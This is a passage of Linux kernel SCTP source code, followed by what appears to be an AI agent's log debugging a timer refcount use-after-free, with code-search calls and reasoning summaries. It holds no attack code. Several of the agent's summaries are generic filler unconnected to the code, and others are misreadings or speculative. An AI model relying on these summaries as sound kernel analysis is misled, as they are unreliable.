1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 32321
							output: 33
							thoughts: 3127
						

**My Thoughts on a Potential SCTP Timer Reference Count Bug**

This has been a deep dive into the SCTP timer handling, and I think I've finally narrowed down where the problem might be. The core of my concern is around the `refcount_t: addition on 0; use-after-free` error, which implies `sctp_association_hold` is being called when the association's reference count is already zero. This means a timer is trying to take a reference on an association that's already been freed.

Let's break down my thought process, tracing the paths of `SCTP_CMD_TIMER_START`, `SCTP_CMD_TIMER_START_ONCE`, `SCTP_CMD_TIMER_RESTART`, and the `sctp_generate_timeout_event` function.

Initially, when looking at `SCTP_CMD_TIMER_START`, I saw that it calls `sctp_association_hold(asoc)` if `!timer_pending(timer)`. Then it calls `timer_reduce`. I questioned what would happen if `timer_reduce` *didn't* start the timer. However, digging into `timer_reduce`'s behavior, I realized it *does* start the timer if it's not pending or if the new expiration is earlier. The only exceptions are `timer->function == NULL` or if the timer is in a shutdown state, neither of which seem applicable here. So, if `timer_pending` is false, `timer_reduce` *will* start the timer, and thus, a reference should be held.

Similarly, `SCTP_CMD_TIMER_START_ONCE` correctly checks `timer_pending` and falls through to `SCTP_CMD_TIMER_START` if the timer isn't pending, ensuring `sctp_association_hold` is called. `SCTP_CMD_TIMER_RESTART` uses `mod_timer`, which, if it returns 0 (meaning the timer wasn't pending), also calls `sctp_association_hold`. These seem fine in isolation.

The real complexity arises in `sctp_generate_timeout_event`. Here, if `sock_owned_by_user(sk)` is true, it calls `mod_timer`. If `mod_timer` returns 0 (timer wasn't pending), `sctp_association_hold(asoc)` is called. If it returns 1 (timer was pending), `sctp_association_hold` is *not* called.

My initial worry was whether this logic correctly managed references, especially in concurrent scenarios. I reasoned through cases where another CPU might be starting a timer concurrently. If CPU 1 is in the timer callback and CPU 2 starts the same timer, CPU 2 calls `sctp_association_hold`. Then, if CPU 1's `mod_timer` returns 1 (because CPU 2 made it pending), CPU 1 *doesn't* call `sctp_association_hold`. Finally, CPU 1 calls `sctp_association_put`. This seemed to balance out – CPU 2's hold is preserved, and CPU 1's consumed reference is dropped. The same logic held if `mod_timer` returned 0, where CPU 1 takes a new hold.

I also considered the `asoc->base.dead` path and the state machine execution. If `sock_owned_by_user(sk)` is false, the state machine runs. If the state machine then processes `SCTP_CMD_TIMER_START` for the *same* timer, `timer_pending` would be true (as CPU 2 or the initial timer execution likely made it pending), so no additional `sctp_association_hold` would occur. The `sctp_association_put` at the end of `sctp_generate_timeout_event` would then correctly drop the reference for the current timer execution.

My deepest concern then focused on `sctp_association_free`. In this function, `timer_delete` is called, and if it returns 1, `sctp_association_put` is called. What if CPU 1 is executing a timer callback, and CPU 2 calls `sctp_association_free`? If `timer_delete` returns 0 (meaning the timer wasn't pending, perhaps because CPU 1 is actively executing it), then CPU 2 *doesn't* drop a reference. Meanwhile, CPU 1's callback might proceed to call `sctp_association_hold` if, for example, `sock_owned_by_user(sk)` is true and `mod_timer` returns 0 (meaning the timer wasn't pending *from its perspective*).

This is where the problem lies. If the timer callback itself is executing, the timer *is* active, but `timer_pending` might return false if the timer was just *re-armed* by another CPU without the callback having yet acquired the necessary reference.

The specific scenario that seems to lead to the use-after-free is when a timer callback is executing, and it tries to take a reference (`sctp_association_hold`) *after* all other references to the association have been dropped, and the association has been freed. This could happen if:

1.  A timer is running.
2.  Another CPU calls `sctp_association_free`.
3.  `sctp_association_free` iterates through timers. For the timer that is currently running, `timer_delete` might return 0 (since it's not technically "pending" if it's executing), so the reference held by `sctp_association_free`'s loop is *not* dropped.
4.  However, the *timer callback itself* is executing and reaches a point where it needs to take a new reference, perhaps because `sock_owned_by_user(sk)` is true and `mod_timer` returns 0, or it's part of a complex state transition.
5.  If, by this point, the reference count has somehow dropped to zero (perhaps because the `sctp_association_free` path *did* drop a reference, and the timer's own eventual `sctp_association_put` hasn't happened yet, or was somehow bypassed), then `sctp_association_hold` is called on a freed structure, causing the crash.

Essentially, I believe there's a race condition where the timer callback might be executing with a "stale" understanding of the association's lifecycle. If `sctp_association_free` completes and frees the association while the timer callback is still trying to acquire a new reference, that's when the use-after-free occurs. The critical point seems to be when a timer is active, and the association is being freed concurrently, leading to a state where the timer callback attempts to `sctp_association_hold` when the reference count is zero.

map[Expression:mod_timer.*asoc->timers PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
]

gemini-3.1-pro-preview

							input: 35619
							output: 33
							thoughts: 18
						

**The Inner Workings of My Mind on Timer Management**

My immediate thought process kicks off with a moment of self-correction, a crucial step in rigorous analysis. I distinctly recall having already investigated the `mod_timer` function. However, my mind, ever vigilant for potential oversights, immediately pivots to a related but distinct mechanism: `timer_reduce`. This isn't just a casual curiosity; it's a deliberate exploration of alternative or complementary functionalities. I need to ascertain if `timer_reduce` offers a different approach to timer manipulation, perhaps one that is more suited to the specific nuances of the current problem, or if it's a redundant function that doesn't add value. My expertise dictates that a thorough understanding of the entire landscape of available tools is paramount before committing to a solution. Therefore, my focus sharpens on dissecting `timer_reduce` to understand its purpose, its parameters, and its operational behavior.

log-in to see details

map[Expression:timer_reduce.*asoc->timers PathPrefix:net/sctp]

map[Output:]

gemini-3.1-pro-preview

							input: 35668
							output: 28
							thoughts: 21
						

**My Realization on the `timer_reduce` Call**

Ah, I see it now! My immediate thought upon reviewing the code was, "Hold on a second." I was tracing the execution flow, specifically where `timer_reduce` was being invoked, and the parameters it was receiving. My internal alarm bells started ringing because I noticed it was being called with `timer` itself, not the expected `&asoc->timers`. This is a critical distinction. I was anticipating that the function designed to reduce or manage a collection of timers would be operating on the *address* of the timer array or list, which is `&asoc->timers`. Instead, it appears to be taking a single timer instance. This suggests a potential misconfiguration or misunderstanding of the function's intended usage in this specific context, and it raises questions about how the timer reduction is actually being performed or if it's even operating on the correct data structure.

map[Expression:timer_reduce PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1557-				sctp_association_hold(asoc);
net/sctp/sm_sideeffect.c:1558:			timer_reduce(timer, jiffies + timeout);
net/sctp/sm_sideeffect.c-1559-			break;
]

gemini-3.1-pro-preview

							input: 35841
							output: 28
							thoughts: 8
						

**My Internal Monologue on `add_timer`**

Alright, so I'm looking at this `add_timer` function, and my mind immediately goes to its core purpose: scheduling something to happen in the future. That's the fundamental concept, right? You want to execute a piece of code, a callback, after a specific delay.

My first instinct, as someone who deeply understands system-level operations and event handling, is to consider the underlying mechanism. How is this actually achieved? Is it a simple polling loop that checks timestamps? Or is it leveraging a more sophisticated event queue, perhaps a priority queue, where timers are inserted based on their expiration time? I'm leaning towards the latter for efficiency, especially in scenarios with many concurrent timers. The idea of a single thread constantly polling for every single timer would be incredibly wasteful.

Then I think about the parameters. What information *must* be provided to `add_timer` for it to do its job effectively? Obviously, I need the duration – the `delay` or `timeout` value. This needs to be precisely defined, whether it's in milliseconds, seconds, or some other unit. The unit itself is crucial; ambiguity here would be a critical flaw. Next, I need to know *what* to execute. This means a reference to the `callback` function or event handler. And what about any data that the callback needs? I'd expect to be able to pass `arguments` or `context` along with the callback.

I'm also contemplating the implications of this function on resource management. What happens if I add a huge number of timers? Does the system scale gracefully? Is there a limit to the number of timers that can be active simultaneously? I'm concerned about potential memory leaks if timer objects aren't properly managed and deallocated after they fire or are explicitly cancelled.

Speaking of cancellation, this is a key functionality I'd expect. A timer, once set, might become obsolete. So, how do I *remove* a timer that's still pending? There must be a corresponding `remove_timer` or `cancel_timer` function, and it would likely require some unique identifier returned by `add_timer` upon successful registration.

I'm also thinking about the *accuracy* of the timer. Is it guaranteed to be exact, or is it subject to system load and scheduling latencies? For many applications, a slight inaccuracy is acceptable, but for real-time systems or critical operations, this could be a significant concern. What are the guarantees provided by the underlying platform or framework regarding timer precision?

Furthermore, I'm considering edge cases. What happens if the `delay` is zero or negative? Should it execute immediately, or is that an error condition? What if the callback function itself throws an exception? How is that handled? Does it crash the entire system, or is it caught and logged gracefully?

Finally, my thoughts drift to the broader architectural implications. How does `add_timer` fit into the overall event loop or concurrency model of the system? Is it part of a dedicated timer subsystem, or is it integrated into a more general-purpose scheduler? Understanding this context helps me anticipate how it interacts with other components and potential bottlenecks.

map[Expression:add_timer PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1551-			 * have already started a timer or not, which leads to BUG
net/sctp/sm_sideeffect.c:1552:			 * halts when we call add_timer. So here, instead of just starting
net/sctp/sm_sideeffect.c-1553-			 * a timer, if the timer is already started, and just mod
]

gemini-3.1-pro-preview

							input: 36019
							output: 28
							thoughts: 8
						

**My Internal Monologue on `timer_setup`**

Ah, the `timer_setup` function. My mind immediately goes to the core purpose: initiating and configuring timers within the system. What exactly am I trying to achieve here? It's about establishing a recurring or one-off event trigger, and that requires careful thought about its parameters.

My initial thought, a fundamental one, is about the **period** or **interval** of the timer. Is this a one-shot event, or does it need to repeat? If it repeats, what's the precise duration between activations? This is critical for everything from polling rates to scheduled tasks.

Then, the **callback function** comes into sharp focus. This is the actual piece of logic that will be executed when the timer elapses. I need to ensure this function is properly defined, accessible, and handles its responsibilities efficiently. Are there any dependencies or context that need to be passed to this callback?

The **mode of operation** is another significant consideration. Is it a hardware timer I'm configuring, or a software-based one? Each has its own implications regarding precision, power consumption, and potential conflicts with other system resources. Am I dealing with an interrupt-driven timer, or a polling mechanism?

I also think about **error handling** and **edge cases**. What happens if the timer setup fails? What if the requested period is invalid or falls outside acceptable system limits? How will the system gracefully recover or report such issues? Is there a need for a timeout on the setup itself?

Furthermore, the **context** in which `timer_setup` is called is important. Is it being initialized during boot-up, or dynamically created during runtime? This impacts how resources are managed and how potential race conditions are avoided. Are there any existing timers that might conflict with this new setup?

Finally, I'm considering the **return value** of `timer_setup`. What information does it provide to the caller? Is it a success/failure indicator, a handle to the newly created timer, or perhaps some status code? This is essential for the calling code to manage the timer's lifecycle.

In essence, when I ponder `timer_setup`, I'm thinking through the entire lifecycle and operational parameters of a timed event, from its initial definition and activation to its execution and potential failure points. It's about ensuring predictable, reliable, and efficient timing mechanisms within the system architecture.

map[Expression:timer_setup PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-144-	for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i)
net/sctp/associola.c:145:		timer_setup(&asoc->timers[i], sctp_timer_events[i], 0);
net/sctp/associola.c-146-
--
net/sctp/protocol.c=1289=static int __net_init sctp_defaults_init(struct net *net)
--
net/sctp/protocol.c-1409-	net->sctp.addr_wq_timer.expires = 0;
net/sctp/protocol.c:1410:	timer_setup(&net->sctp.addr_wq_timer, sctp_addr_wq_timeout_handler, 0);
net/sctp/protocol.c-1411-
--
net/sctp/transport.c=40=static void sctp_transport_init(struct net *net,
--
net/sctp/transport.c-74-
net/sctp/transport.c:75:	timer_setup(&peer->T3_rtx_timer, sctp_generate_t3_rtx_event, 0);
net/sctp/transport.c:76:	timer_setup(&peer->hb_timer, sctp_generate_heartbeat_event, 0);
net/sctp/transport.c:77:	timer_setup(&peer->reconf_timer, sctp_generate_reconf_event, 0);
net/sctp/transport.c:78:	timer_setup(&peer->probe_timer, sctp_generate_probe_event, 0);
net/sctp/transport.c:79:	timer_setup(&peer->proto_unreach_timer,
net/sctp/transport.c-80-		    sctp_generate_proto_unreach_event, 0);
]

gemini-3.1-pro-preview

							input: 36592
							output: 39
							thoughts: 4068
						

**The Intricate Dance of Timers and References in SCTP**

I've been deep in thought, meticulously tracing the execution flow of SCTP timers, specifically focusing on the `sctp_cmd_interpreter` and its interactions with timer events. My primary concern has been ensuring the integrity of reference counts to prevent memory leaks or, even worse, use-after-free bugs.

Initially, I examined the `SCTP_CMD_TIMER_START` case. My first question was about the condition `if (!timer_pending(timer))`. I wondered if `timer_pending` could return `FALSE` while the timer was actually executing on another CPU. My understanding is that if a timer is executing, it's been dequeued, making `timer_pending` correctly return `FALSE`. In this scenario, `sctp_association_hold` is called, which seems appropriate to increment the association's reference count.

Then, I considered the possibility that `timer_reduce` might not actually start the timer, even if `timer_pending` returned `FALSE` and `sctp_association_hold` was called. I reasoned that `timer_reduce` typically starts a timer if it's not pending. However, I also noted that `timer_reduce` only modifies the timer if the new expiration is earlier or if the timer isn't pending. If the timer *is* pending, it modifies the expiration time, which is fine as it already has a reference.

My attention then shifted to a more complex scenario: what if `timer_pending` returns `TRUE`, meaning `sctp_association_hold` is *not* called? The timer is then reduced (meaning its expiration time is updated). This seems correct because the timer already has a reference. But, I pressed further, what if `timer_pending` returned `TRUE`, but the timer was *actually executing*? My conclusion here is that if a timer is executing, `timer_pending` must return `FALSE`, so this scenario is not possible.

